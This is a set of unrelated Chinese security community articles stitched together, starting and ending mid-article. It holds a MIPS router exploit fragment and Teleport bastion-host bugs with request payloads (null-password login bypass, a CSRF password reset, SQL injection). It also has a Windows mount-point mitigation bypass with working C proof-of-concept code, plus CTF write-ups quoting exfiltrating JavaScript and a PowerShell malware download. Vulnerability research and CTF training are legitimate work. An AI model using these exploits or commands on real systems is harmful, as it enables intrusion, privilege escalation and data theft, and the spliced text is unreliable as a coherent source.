<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
>
<SOAP-ENV:Body>
<ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"\
SOAP-ENC:root="1">
</ns1:action>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""
#try:
print "Exploiting..."
req = urllib2.Request("http://192.168.86.103:5555", soap_data,soap_headers)
urllib2.urlopen(req)
### 参考
<https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1>
<https://emreboy.wordpress.com/2012/12/24/connecting-qemu-to-a-real-network/>
<http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/>
<http://www.devttys0.com/2013/10/mips-rop-ida-plugin/> | 社区文章 |
#### 前言
前端时间在某社区看到有师傅发了，我就整理了一下，因为之前看过这套堡垒机的pythonweb，并把目前网上公开的漏洞分析了下，做个记录~~~
水平太cai，请大伙批评指正~~~
#### 分析
1. 环境搭建（3.5.6-rc6版本）
在官网下载安装包，tar命令解压，进入目录，以管理员身份运行./setup.sh即可（直接enter选择默认路径）。
访问主机7190端口：
搭建环境遇到的问题：用的是centos7虚拟机搭建，遇到ping到主机却telnet不到7190端口的问题，查询资料后关闭centos7防火墙即可。
2. 漏洞分析
* 逻辑缺陷
看webroot:
python的应用没怎么看过，不过应该是大同小异，路由结构在app/controller/__init__.py：看登录认证相关：
转到app.controller.auth.DoLoginHandler:
通过app.model.user.login判断返回信息，这里将username、password和oath参数带入，跟进app.model.user.login：
然后password判断（代码太长，没有展开）：
逻辑缺陷在于，在用户密码password为空时，没有对应的控制逻辑，导致登录绕过。
正常请求的json为：
{"type":2,"username":"admin","password":"admin","captcha":"xcj9","oath":"","remember":false}
那么将password变为null，即可绕过：
{"type":2,"username":"admin","password":null,"captcha":"xcj9","oath":"","remember":false}
* 任意文件读取（后台）
在app.controller.audit.DoGetFileHandler中，对应路由为：
通过f参数获取filename信息：
跟踪filename:
filename直接就拼接到file，然后open：
但要满足下列条件：
if act is None or _type is None or rid is None or filename is None:
self.set_status(400) # 400=错误请求
return self.write('invalid param, `rid` and `f` must present.')
if act not in ['size', 'read']:
self.set_status(400)
return self.write('invalid param, `act` should be `size` or `read`.')
if _type not in ['rdp', 'ssh', 'telnet']:
self.set_status(400)
return self.write('invalid param, `type` should be `rdp`, `ssh` or `telnet`.')
这个任意文件读取需要后台管理员权限，属于是鸡肋，且该系统用户均为具有一定权限的用户：
所以这个不深究了。
* 存储xss
这个是我在cve上搜到的，只有一句简单的描述（在老版本上存在）：
对比3.1.0和3.5.6版本登录逻辑的区别，不难找到问题所在：
可以看到在3.5.6将<>进行实体编码，结合前端显示：
不难猜测是通过闭合<>达到存储xss的目的。
* csrf漏洞
同样也是只有一句简单描述，那么只能自己看了。
在重置密码app.controller.user.DoResetPasswordHandler中：
可以通过mode控制执行的模式，重点看mode==2：
mode==2时，先鉴权，然后获取user_id和password，注意这里不需要传入旧密码，接着往下走就能看到先进行密码强度检查，然后就通过user_id和password重置密码了：
这里理论上可以制作钓鱼链接发给管理员，重置任意密码。
利用：
url:<http://192.168.87.149:7190/user/do-reset-password>
post:args={"mode":2,"id":2,"password":"Qdmin@12345"}
(该漏洞在最新发行版本中仍存在)
* 未授权漏洞
看下app/controller/system.py，随便拿个路由来说，方法都会调用app.base.controller.TPBaseHandler.check_privilege鉴权：
不过app.controller.system.DoGetLogsHandler中没有进行鉴权：
通过路由可以找到该请求包：
正常请求（携带cookie）:
删除cookie同样返回数据：
接着看下逻辑，调用了app.model.syslog.get_logs:
将sql_filter中key为log_user_name的值带入语句，这里则可以闭合"达到sqli。
3. 总结
pythonweb看的不多，不过前段时间经常拿来写点什么小玩意~~~
自己没耐心了，感觉应该还有不少东西可以学习一下~~~
#### 参考
<https://github.com/tp4a/teleport/issues/290>
<https://github.com/tp4a/teleport/issues/276>
<https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=teleport+++tp4a> | 社区文章 |
# Windows10 Mount Point Mitigation & MS15-090绕过
|
##### 译文声明
本文是翻译文章，文章来源：blogs.360.cn
原文地址：<http://blogs.360.cn/blog/windows10-mount-point-mitigation-bypass/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**Symbolic Link漏洞简单背景介绍**
Symbolic Link是微软Windows系统上一项关键机制,从Windows NT3.1开始引入对象和注册表Symbolic
Link后,微软从Windows2000开始也引入了NTFS Mount Point和Directory
Juntions,这些机制对于熟悉Windows内部机理的技术人员并不陌生,在著名的Windows
Internals系列中,也有介绍这些机制。在过去,安全人员利用Symbolic Link来攻击系统安全机制或安全软件,也并不少见。
而这项技术重新火起来,要归功于2014年BlackHat上 James Forshaw爆出的大量利用mount
point、注册表的符号链接来绕过IE11的EPM沙箱的事件,在此之后, James Forshaw仍在不断挖掘和通过Google Project
Zero爆出大量利用这些机制的类似逻辑漏洞,通过这些漏洞可以穿透IE11的EPM沙箱,或者利用系统服务提升权限等。在2015年的Syscan上,他则以一篇《A
Link to the Past: Abusing Symbolic Links on Windows》给这些漏洞和攻击方式做了更好地总结。
360Vulcan Team也发现了多个使用Symbolic
Link绕过EPM沙盒的漏洞,在今年的HITCON安全会议上,我们就公开了我们发现的CVE-2014-6322等沙盒绕过漏洞,包括一个未公开的EPM沙盒绕过漏洞。
之所以利用Symbolic
Link进行攻击的漏洞频繁出现,是和低权限程序可以操作全局对象的符号链接,使得高权限程序访问非预期的资源有重要关系的。这类漏洞不仅仅局限在Windows平台上,著名的iOS6/7越狱程序Evasion也是利用了苹果iOS系统内服务对于符号链接的处理问题实现了最初的攻击步骤。
**
**
**微软的缓和措施**
随着这些漏洞攻击的频繁爆出,微软也在寻找更有效地缓和方式,既然低权限创建符号链接是问题的关键所在,那么封堵低权限程序创建符号链接就成了自然会想到的解决方案。
在今年的五月份,Windows 10推出了内测版本Build
10120,在360安全团队进行分析后就发现,在这个版本微软就加入了针对注册表符号链接的防护,禁止”sandboxed”的低权限进程创建注册表符号链接。在随后的多个内测版本中,微软又持续加入了针对对象的符号链接创建防护和针对Mount
Point(目录挂载点)链接的防护,禁止低权限的程序创建这些链接。
具体来说,这些防护措施修改在Windows内核程序(ntoskrnl.exe)内,在创建注册表、文件和对象的符号链接时,系统会使用RtlIsSandboxedToken来判断当前的token是否在低完整性级别或者以下(例如AppContainer)。如果是的话,针对这三种符号链接,会采取不同的策略:
1\. 针对注册表符号链接: 完全禁止创建,禁止沙盒内的程序创建任何注册表符号连接
2\. 针对对象符号链接:
沙盒内程序可以创建对象符号链接,但是对象符号连接的Object上会增加特别的Flag,当非沙盒的程序遇到沙盒程序创建的符号链接时,符号链接不会生效
3\. 针对文件(Mount
Point)符号链接:沙盒内程序在创建对象符号链接时,系统会检查对于被链接到的目标目录(例如将c:testlow链接到目标c:windows目录),当前进程是否具备写入(包括写入、追加、删除、修改属性等)权限,如果不具备这些权限,或者无法打开目标目录(例如目标目录不存在),则会拒绝。
在Windows10 RTM正式发布后,微软又以不同寻常的速度(用James
Forshaw的话来说,简直就不敢让人相信是微软干的)将这个安全缓和移植到了低版本的Windows操作系统上。
在今年8月11日,微软发布了MS15-090补丁,在Windows
Vista788.1及服务器操作系统上修复了CVE-2015-2428CVE-2015-2429CVE-2015-2430这三个漏洞,而这个补丁的实质,就是将对象、注册表、文件系统这三个符号链接的缓和防护移植到了这些操作系统上。微软这些以相当有执行力的速度,试图将这类漏洞彻底终结,送入历史之中。
那么,是不是对于Windows 10,包括打了8月补丁的Windows7, 8, 8.1等操作系统,这些符号链接的漏洞就和我们永远说拜拜了呢?
答案当然是否定的,就如James Forshaw在44CON的议题标题所说, 2 Steps Forward, 1 Step
Back,在开发这些缓和措施的过程中,水平不到位的安全/开发人员,也会犯这样那样的错误,使得我们在深入研究和分析这些机制后,仍然可能找出突破他们的方式。
**针对缓和的绕过**
在这里,本文就是要介绍一种绕过Windows 10 Mount Point
Mitigation(目录挂载点缓和)的方式,由于这个缓和在Windows7/8/8.1等系统上是通过MS15-090得到修复的,因此这里介绍的方法也是对MS15-090(CVE-2015-2430)的绕过攻击方式。
前面我们说到,针对文件/目录的Mount
Point符号链接,系统并没有彻底禁止沙盒的程序去创建它们,而是会检查对应被链接到的目标目录,当前进程是否具备可写的权限,如果可写(例如我们将同是位于低完整性级别目录下的两个继承目录进行链接),链接是可以被创建的。这就给我们突破这个防护提供了一个攻击面,那么我们来看看这个检查具体是怎么实现的呢?
这个检查的代码是位于IopXxxControlFile中的,内核调用NtDeviceIoControl和NtFsControlFile最终都要调用到这个函数中,这个函数负责为设备调用封装IRP并进行IRP发送工作,FSCTL_SET_REPARSE_POINT这个用于设置NTFS
Mount
Point的设备控制码自然也不例外。在这个函数中,微软增加了针对FSCTL_SET_REPARSE_POINT的特殊检查处理,逻辑并不复杂,这里我列出如下:
if ( IoControlCode == FSCTL_SET_REPARSE_POINT )
{
ReparseBuffer = Irp_1->AssociatedIrp.SystemBuffer;
if ( InputBufferLength >= 4 && ReparseBuffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT )
{
SubjectSecurityContext.ClientToken = 0;
SubjectSecurityContext.ImpersonationLevel = 0;
SubjectSecurityContext.PrimaryToken = 0;
SubjectSecurityContext.ProcessAuditId = 0;
bIsSandboxedProcess = CurrentThread;
CurrentProcess = IoThreadToProcess(CurrentThread);
SeCaptureSubjectContextEx(bIsSandboxedProcess, CurrentProcess, &SubjectSecurityContext);
LOBYTE(bIsSandboxedProcess) = RtlIsSandboxedToken(&SubjectSecurityContext, AccessMode[0]);
status = SeReleaseSubjectContext(&SubjectSecurityContext);
if ( bIsSandboxedProcess )
{
status_1 = FsRtlValidateReparsePointBuffer(InputBufferLength, ReparseBuffer);
if ( status_1 < 0 )
{
IopExceptionCleanup(Object, Irp_1, *&v79[1], 0);
return status_1;
}
NameLength = ReparseBuffer->MountPointReparseBuffer.SubstituteNameLength;
MaxLen = NameLength;
NameBuffer = ReparseBuffer->MountPointReparseBuffer.PathBuffer;
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = OBJ_FORCE_ACCESS_CHECK | OBJ_KERNEL_HANDLE
ObjectAttributes.ObjectName = &NameLength;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
status_2 = ZwOpenFile(&FileHandle,
0x120116u,
&ObjectAttributes,
&IoStatusBlock,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
FILE_DIRECTORY_FILE);
if ( status_2 < 0 )
{
IopExceptionCleanup(Object, Irp_1, *&v79[1], 0);
return status_2;
}
status = ZwClose(FileHandle);
}
}
通过这段代码我们可以看到,
当IoControlCode为FSCTL_SET_REPARSE_POINT时,函数会检查ReparseTag是否为IO_REPARSE_TAG_MOUNT_POINT,如果是Mount
Point的操作,接下来就会使用RtlIsSandboxedToken来检查当前进程是否是沙盒进程,如果是沙盒进程,在使用FsRtlValidateReparsePointBuffer检查reparse
point的缓存数据格式后(这个函数在文件系统驱动处理reparse
point操作时也会用到),将目标目录的路径提取出来,使用ZwOpenFile尝试打开它, 如果无法打开,就返回拒绝。
这里打开文件有个很关键的步骤,大家可以看到代码里ObjectAttributes.Attributes设置了包含OBJ_FORCE_ACCESS_CHECK标志。这里就是要求
ZwOpenFile 去强制检查当前进程是否有权限打开这个目录,否则ZwOpenFile通过内核模式转换后,是直接无视权限检查的。
这个检查似乎很严密,我们如何突破呢?笔者仔细研究了下相关的机制,本来想看看是否能通过在PathBuffer中调换SubsituteName和PrintName位置的方式(这段代码默认SubsituteName在前)来欺骗检查逻辑,但后来发现FsRtlValidateReparsePointBuffer的预检查中,已经强制要求了SubsituteName必须在前。
再深入看看Ntfs和Ntos针对Set Reparse Point的实现,笔者发现Reparse
Point具体的目标对象的解析和处理并不是在ntfs中当前进程完成的,ntfs在收到set reparse point的file system
control请求后,只是将这个信息以文件系统结构存储起来,而直到访问这个mount
point的程序去访问对应的路径时,ntos的IO子系统才会去处理和解析相关的数据,也就是说,我们当前进程发送过去的路径,
是并不在当前进程中具体去处理的,也就是说,它在当前进程里是可以无效或必并不指向我们原先想要的目标的。
根据这个事实,就不难想出,我们可以让这里的ZwOpenFile在我们的进程里,打开的其实并非c:windows的目录,而这个路径在外面的进程看起来,则需要时真正的c:windows。
笔者稍微复习了下IO子系统的代码,很快就想出了对应的欺骗技巧:Device Map
进程的Device Map是针对系统中的进程设置“虚拟DOS设备路径”的系统机制,
它可以通过NtSetInformationProcess/NtQueryInformationProcess的ProcessDeviceMap功能号来设置和查询。
当系统内核打开一个诸如c:windows的DOS路径时,NTDLL会首先将其前面加上??,使其变为一个NT路径:??c:windows
,通常来说??指向GLOBAL??,而GLOBAL??下就有C:这个指向DeviceHarddiskVolumeX等磁盘分区设备的符号链接,使得最终系统的对象子系统能够找到对应的文件系统驱动发送相关的文件操作请求。
而Device
Map的修改机制,允许我们将??指向其他的对象目录,在ProcessDeviceMap中,我们只要填写对应的对象目录句柄,就可以将当前进程(或者被设置的对应进程)的??映射到我们的对象目录中,例如将
??不再指向GLOBAL??,而是BaseNamedObjects。这项机制允许程序具备多个虚拟的??根目录,这被Windows自己的内核机制例如WindowStation管理机制所使用。
而在这里,我们正好就可以使用这个技巧,来绕过ZwOpenFile的安全检查,步骤如下:
(假设我们用于测试的低权限可访问目录为c:userstestdesktoplow)
1\.
创建c:userstestdesktoplowwindows目录,这个目录我们可以访问,另外在low下在创建一个任意名字的目录用来链接Windows目录,例如叫做Lowdemo目录,这里之所以要先创建,是因为我们后面要修改系统默认DOS设备根目录,再使用win32
api操作文件会比较麻烦
2\. 将当前Device
Map即??通过NtSetInformationProcess映射到一个我们可写的对象目录,例如对于低完整性进程,SessionXBaseNamedObjects对象目录就可以,我们可以将其映射到这个目录来
3\. 在SessionXBaseNamedObjects对象目录下创建一个对象符号链接,名为C: ,
链接到GLOBAL??c:userstestdesktoplow,注意这里必须要用GLOBAL??而不是??因为默认的??已经被我们改到别的地方了
这里的对象符号链接是我们当前进程自己用的,按前面说的,沙盒内的符号链接只有沙盒进程能用,所以是没有问题的。
4\.
此时,当前进程的??c:windows,实际变成了BaseNamedObjectsc:windows,而因为BaseNamedObjects下面的C:是我们设置好的符号链接,因此这个路径最终会被解析为GLOBAL??C:userstestdesktoplowwindows,也就是我们在第一步里创建的那个我们可以访问的Windows目录
5\.
最后,为low下的demo目录创建链接到??c:windows,这里IopXxxControlFile在使用ZwOpenFile进行权限检查时,自然就检查到了我们设置的欺骗目录,并认为我们具备对这个目录的写入权限,从而允许创建。
6\. 然而,在创建完成Mount Point后,这个路径信息已经被载入文件系统中,
其他进程再来访问时,会发现这个demo目录指向真正的??c:windows目录, 我们成功实现绕过Mount
Point缓和,创建有效的低权限可访问的、链接到高权限目录的符号链接。
**下面是攻击的示例关键代码:**
CreateDirectory("c:\users\test\desktop\low\windows" , 0 )
CreateDirectory("c:\users\test\desktop\low\demo" , 0)
HANDLE hlink = CreateFile("c:\users\test\desktop\low\demo" , GENERIC_WRITE , FILE_SHARE_READ , 0 , OPEN_EXISTING , FILE_FLAG_BACKUP_SEMANTICS, 0 );
NtOpenDirectoryObject(&hObjDir , DIRECTORY_TRAVERSE , &oba);
//"\Sessions\1\BaseNamedObjects"
NtSetInformationProcess(GetCurrentProcess() , ProcessDeviceMap , &hObjDir ,sizeof(HANDLE));
NtCreateSymbolicLinkObject(&hObjLink , LINK_QUERY , &oba2 , &LinkTarget) ;
//oba2: "\??\c:" link target:"\GLOBAL??\C:\users test\desktop\low"
WCHAR NtPath[MAX_PATH] = L"\??\C:\WINDOWS\";
WCHAR wdospath[MAX_PATH] = L"c:\windows\";
DWORD btr ;
PREPARSE_DATA_BUFFER pBuffer;
DWORD buffsize ;
pBuffer = (PREPARSE_DATA_BUFFER)malloc(sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 + 2);
pBuffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
pBuffer->ReparseDataLength = sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 - 8 ;
pBuffer->Reserved = 0 ;
pBuffer->MountPointReparseBuffer.SubstituteNameLength = wcslen(NtPath) * 2 ;
pBuffer->MountPointReparseBuffer.SubstituteNameOffset = 0 ;
pBuffer->MountPointReparseBuffer.PrintNameLength = wcslen(wdospath) * 2 ;
pBuffer->MountPointReparseBuffer.PrintNameOffset = wcslen(NtPath) * 2 + 2 ;
memcpy((PCHAR)pBuffer->MountPointReparseBuffer.PathBuffer , (PCHAR)NtPath , wcslen(NtPath) * 2 + 2);
memcpy((PCHAR)((PCHAR)pBuffer->MountPointReparseBuffer.PathBuffer + wcslen(NtPath) * 2 + 2) ,
(PCHAR)wdospath ,
wcslen(wdospath) * 2 + 2) ;
buffsize = sizeof(REPARSE_DATA_BUFFER) + (wcslen(NtPath) + wcslen(wdospath)) * 2 ;
DeviceIoControl(hlink , FSCTL_SET_REPARSE_POINT , pBuffer , buffsize, NULL , 0 , &btr , 0 );
测试程序成功的截图如下:
可以看到低权限的poc_mklink成功创建目录1,链接到c:windows的junction。
**漏洞修复**
这个问题的本质和TOCTTOU类似,检查的时机和状态,同使用无法完全一致导致。
从攻击手法来说,微软可以继续封堵沙盒进程修改DeviceMap,这是比较简单也容易想到的办法,但是可能还会有其他方式绕过ZwOpenFile,想要沿用当前的防御策略,完美地防护Mount
Point是并不容易的:) | 社区文章 |
# wormcom 0x01（forensics and network）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Secret Mission
### Part1
> Description:
>
> Hello welcome back to work we got new project and after a great success in
> last case because of you we are giving you one more task this time. So we
> got a project from govt Secret agency that they are behind a person and they
> have doubt that he is involved with the hackers group and they given us the
> image of his system.we got a report that he got a message and next
> instruction to follow but after asking to person he is saying that he only
> got advance money and the details of it payment but no message can you find
> what is the message he received.
**cmdline**
查看命令行历史，发现notepad打开了apache日志文件，我们不应该认为这里存在flag，但是可以尝试。
./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 cmdline
**pslist**
查看进程
./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 pslist
**memdump**
然后去dump对应的notepad,wordpad进程内存
./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 memdump -n notepad.exe -D ctf/
./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 memdump -n wordpad.exe -D ctf/
但是发现notepad和wordpad的进程内存非常大，共三个进程内存，每个进程内存的大小都大于1g，导致无法使用记事本直接打开。可以使用010Editor打开，但是很难提取到有效信息。
**filescan**
使用该插件时发现无输出，此时应该考虑更换profile。
./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win8SP0x64 filescan | grep -E "pdf|txt|zip|png"
./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 filescan | grep -E "pdf|txt"
输出中需要注意到`Invoice.pdf`（Invoice 为 发票）。
因此我们需要dump出该文件进行分析
**dumpfiles**
复制对应的文件地址进行dumpfiles
./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 dumpfiles -Q 0x000000000570c430 -D ctf/
**forensic**
文件确实可以正常打开
010Editor打开,注意到这里有一段hex
2066756E6374696F6E20646F776E6C6F61642829207B0A2020202020202020202020202020202020206178696F73287B0A20202020202020202020202020202020202020202020202075726C3A202768747470733A2F2F3133342E31322E35362E31323A363433342F7A7A7A2E657865272C0A2020202020202020202020202020202020202020202020206D6574686F643A2027474554272C0A202020202020202020202020202020202020202020202020726573706F6E7365547970653A2027626C6F62270A2020202020202020202020202020202020207D290A2020202020202020202020202020202020202020202020202E7468656E2828726573706F6E736529203D3E207B0A202020202020202020202020202020202020202020202020202020202020636F6E73742075726C203D2077696E646F772E55524C0A2020202020202020202020202020202020202020202020202020202020202020202020202E6372656174654F626A65637455524C286E657720426C6F62285B726573706F6E73652E646174615D29293B0A202020202020202020202020202020202020202020202020202020202020636F6E7374206C696E6B203D20646F63756D656E742E637265617465456C656D656E7428276127293B0A2020202020202020202020202020202020202020202020202020202020206C696E6B2E68726566203D2075726C3B0A2020202020202020202020202020202020202020202020202020202020206C696E6B2E7365744174747269627574652827646F776E6C6F6164272C20276E632E65786527293B0A202020202020202020202020202020202020202020202020202020202020646F63756D656E742E626F64792E617070656E644368696C64286C696E6B293B0A2020202020202020202020202020202020202020202020202020202020206C696E6B2E636C69636B28293B0A202020202020202020202020202020202020202020202020202020202020646F63756D656E742E626F64792E72656D6F76654368696C64286C696E6B293B0A2020202020202020202020202020202020202020202020207D290A2020202020202020202020207D0A0A696628646F776E6C6F61642829297B0A09616C6572742822776F726B20446F6E65203A29206432397962574E76626E745152455A66647A46306146394B553138786331394F4D4852664E4735664D47786B58314E306557777A66513D3D22290A7D0A0A
我们通过xxd进行还原
echo "" | xxd -p -r
最后经过base64解密即可
wormcon{PDF_w1th_JS_1s_N0t_4n_0ld_Styl3}
### Part 2
> He is contacting to the group via uncommon browser you have to find what is
> the name of the file on the system which he used to install and have to
> figure out did he open that browser or not. If yes then md5 the second last
> registry value added by that browser and if not open then md5 the last
> registry value added by that browser.
**Tor**
首先，不常见的浏览器，我们应该想到暗链中的洋葱浏览器，也就是Tor浏览器。其次，我们需要找到可执行文件的文件名，并确认他是否打开该浏览器，最后需要我们去提取注册表值。
关于Tor浏览器
[(PDF) Forensic Analysis of Tor Browser: A Case Study for Privacy and
Anonymity on the Web
(researchgate.net)](https://www.researchgate.net/publication/332004753_Forensic_Analysis_of_Tor_Browser_A_Case_Study_for_Privacy_and_Anonymity_on_the_Web)
**volatility**
/volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 printkey -K "Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store"
能得到其值
C:\Program Files (x86)\Windows NT\Accessories\T0rbR0Ws3R-10.0.1.exe
### Part 3
> Description:
>
> We find that he got project to develop a web project for the hackers but in
> hurry he leaked the critical information while developing a web project on
> his system. Find the information he leaked unintentionally
注意到两个重点信息
web projectcritical information
**apache**
我们需要想到之前的apache2日志方面的信息并没有使用过，之前尝试过dump进程，但是效果并不好，试一下filescan，找到了access.log，dump下来。
./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 filescan | grep log ./volatility_2\ .6_lin64_standalone -f mem.raw --profile=Win81U1x64 dumpfiles -Q 0x000000007c87d350 -D ctf/
**strings**
我们通过strings输出里面的内容，找到了奇怪的url，
进行base64解密后拿到了flag。
## Network At Risk
### Part 1
> **Description:**
> We are in danger again we got a incident report by our system and after
> that we capture the network traffic but I think this is not a normal and
> easy one we have to do deep analysis but due to shortage of time I am giving
> the task to you. Hope you will find something intresting.
查看该流量包，总体上来看流量分为https和http两块流量。
**http**
http流量如下，我们需要注意到最后一个奇怪的http访问。
**malware**
我们标记该流量包，并往上翻可以看到很多css和javascript的文件。其中的html文件没有异常，那么我们考虑是javascript中藏了恶意代码。查阅jquery代码，找到了恶意代码块
function a4sSiIgGn_vVa4lLuUe(text){ CONTENT = text ; return 1 } function g3tTh3Wh4T(url){ var request = new XMLHttpRequest(); request.open('GET', url, true); request.send(null); request.onreadystatechange = function () { if (request.readyState === 4 && request.status === 200) { var type = request.getResponseHeader('Content-Type'); if (type.indexOf("text") !== 1) { a4sSiIgGn_vVa4lLuUe(request.responseText); fetch('http://127.0.0.1:1337?' + enCrYpTX0r(CONTENT,k3Y) ); function enCrYpTX0r(text, key) { return Array.from( text, (c, i) => (c.charCodeAt() ^ key.charCodeAt(i % key.length)) ).join('s'); }
**xor**
可以看到这里url后添加的是经过xor加密的代码块，我们找到key之后对url中的参数进行xor变换即可。
### Part 2
> **Description:**
> This is the another network traffic we capture for the another network we
> followed the same process you told us in previous one but that doesn’t work
> in this case can you help us out in this also.
**ftp**
打开流量包，在前面就能看到FTP协议流量，由于FTP是一个比较容易跟踪的协议，我们这里直接跟踪ftp。
一共只有100多个tcp流，我们一个个查看过来即可，能找到一个加密的zip压缩包。对应着tcp.stream eq 0 中的
其数据在tcp stream sq 107中
当然也可以通过binwalk进行提取。
然后尝试了伪加密和暴力破解的方法，都失败了。想到我们已经得到了ftp的账号密码，尝试密码，即可成功打开压缩包。
### Part 3
> Description:
> We work for secret govt agencies and we got a report that there will attack
> on the state by terrorist group and our spy send us some files in three
> parts which he captured from their network can you tell what is happening on
> the network.
>
> Note: put _ between the words and put them in the flag format
需要注意到这里的sip:[[email protected]](mailto:[email protected]).128
**Voip**
是一个Voip的电话流量，直接在wireshark里面播放
或者使用pcap2wav工具，这里也有提示[PCAP2WAV RTP2WAV
(xplico.org)](https://pcap2wav.xplico.org/)
wormcon{welcome_to_the_world_of_voip}
### Part 4
> **Description:**
>
> Help me to get into this network!!
>
> Flag Format: wormcon{password_bssid}
>
> Note: bssid is in lowecase
**aircrack-ng**
cap无线流量包，使用aircrack-ng 直接跑字典爆破即可
aircrack-ng -b challenge.cap -w ./rockyou.txt
## wormonetics
### Part 1
> Description
> Welcome to our organization wormonetics. Our R&D team is working on a
> secret project Project Σ. But due to an insider threat, our Project is at
> risk [ As per the law of corporate yes he is an Intern ]. After doing a lot
> of analysis we got the final person who is responsible but we find strong
> evidence so we capture the image of his PC Disk and for further
> Investigation, we need your help in return we will provide you points 😄
>
> So now you have to find what name our intern is using for contacting the
> Hackers and it will be great if you also find the email address of whom he
> is contacting. Flag : wormcon{name_email}
>
> Example: Name is Bob and email is
> [[email protected]](mailto:[email protected])
>
> Sample Flag : wormcon{[[email protected]](mailto:[email protected])}
>
> Password: DiskF0r3ns1cswormc0nCTFh4ckS
我们拿到了一个001后缀的文件，是一个完整的文件系统。也许可以尝试仿真取证，首先用ftk Imager 打开。
查看常见路径，首先在vmware和主机传输的缓存目录找到了一个Thunderbird 安装包。
通过查询可知是一个电子邮件客户端。
我们导出被调查者的用户文件夹，准备查看对应着电子邮件客户端的数据文件夹。使用everything，搜索sqlite,通过尝试即可知道是history.sqlite
使用DB browser 打开sqlite文件
也可以使用bash一把梭
grep -r ".com" ./
也可以进行仿真。
我们在虚拟机中进行profile的导入,打开manager 进行profile的导入。
"C:\Program Files\Mozilla Thunderbird\thunderbird.exe" -P
导入路径为，导入后成功看到了右键信息。
C:\Users\Scr1pt\Desktop\l3v1ath4n\AppData\Roaming\Thunderbird\Profiles\txswyalh.default-release
导入成功后能看到
### Part 2
> DESCRIPTION
> We worked on the email you provided us earlier and we get to know that our
> Intern received an secret mail from the Group having information about where
> they will further communicate. Now your task is to find where they are
> planning to communicate and reach there to check what they discussed.
通过ftk Imager 寻找eml，找一些常见的路径，在Get Your Offer.eml，常见的钓鱼邮件名。
我们在邮件中能找到一个xls文件和一个html文件。
对于xls文件，常见的vba宏代码，我们需要使用oletools进行查看的提取。
python3 oledump.py annual_report.xlspython3 oledump.py annual_report.xls -s 3
提取出stream 12，stream 13，这两块是vba宏代码我们使用脚本进行decompress
python3 oledump.py annual_report.xls -s 3 -v
很明显能看到两个数组，ascii码转换成字母即可
vald_12 = Array(80 76 51 65 83 51 83 51 67 85 82 51)valid1 = Array(65 80 84 45 49 51 51 55 45 83 72 52 68 48 87)
APT-1337-SH4D0WPL3AS3S3CUR3
但是我们并不知道这里是一个账号密码。
我们回去查看html文件，发现这里需要一个账号和密码，我们尝试输入上面这两个数据，但是由于网站关掉了访问不了，所以导致了我们登录后直接404了。
跳转路径如下
/renga-idprovider/pages/newwindow?new_url=https://apt-login.vulnfreak.org
### Part 3
> Description:
>
> After last evidence we are sure and ask the Intern about this so he told us
> that he also don’t know what happened he said after the last message he
> received there is no communication between them and also his system is start
> behaving suspicious. We think they inject malware to the system if this is
> true you have to find what is the name of the malware file on the system and
> which family malware belongs.
我们通过ftk imager导出文件夹，火绒扫描出了ifconfig.exe是一个木马文件。
用virustotal上传该木马
即可得到
wormcon{ifconfig.exe_Bitter_Rat}
**tips**
我们也能查看到powershell历史
\Users\l3v1ath4n\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
命令行历史
Id CommandLine -- ----------- 1 cd ../ 2 cd ../ 3 pwd 4 cd .\Users 5 cd .\Public 6 ls 7 cd .\Music 8 ls 9 cd ../ 10 cd ../ 11 pwd 12 cd ../ 13 cd .\AppData\LocalLow\Microsoft\CryptnetUrlCache 14 cd .\Content 15 ls 16 clear 17 Invoke-WebRequest -Uri https://github.com/0xwadfg/malware/blob/raw/sm3r.exe -OutFile ifconfig.exe 18 [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 19 Invoke-WebRequest -Uri https://github.com/0xwadfg/malware/raw/main/sm3r.exe -OutFile ifconfig.exe 20 ls 21 ls | grep ifconfig | 社区文章 |
# 多种方式执行XSS
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 介绍
在一切用户可控输入的地方，没有过滤输入内容，导致插入html代码，从而导致用户的信息泄露及其它的问题。XSS分为以下几种：
* 反射型XSS
* 存储型XSS
* DOM XSS
* UXSS([什么是UXSS](https://www.acunetix.com/blog/articles/universal-cross-site-scripting-uxss/))
* MXSS([什么是MXSS](https://cure53.de/fp170.pdf))
本文就来探究在不同情形下执行XSS的情况。
## 0x01 HTML XSS
HTML XSS 是最常见的一种XSS的情形。例如以下代码：
<!DOCTYPE HTML>
<html>
<head>
<title>HTML Context</title>
</head>
<body>
{{userinput}}
</body>
</html>
这种情形，可以用以下payloads:
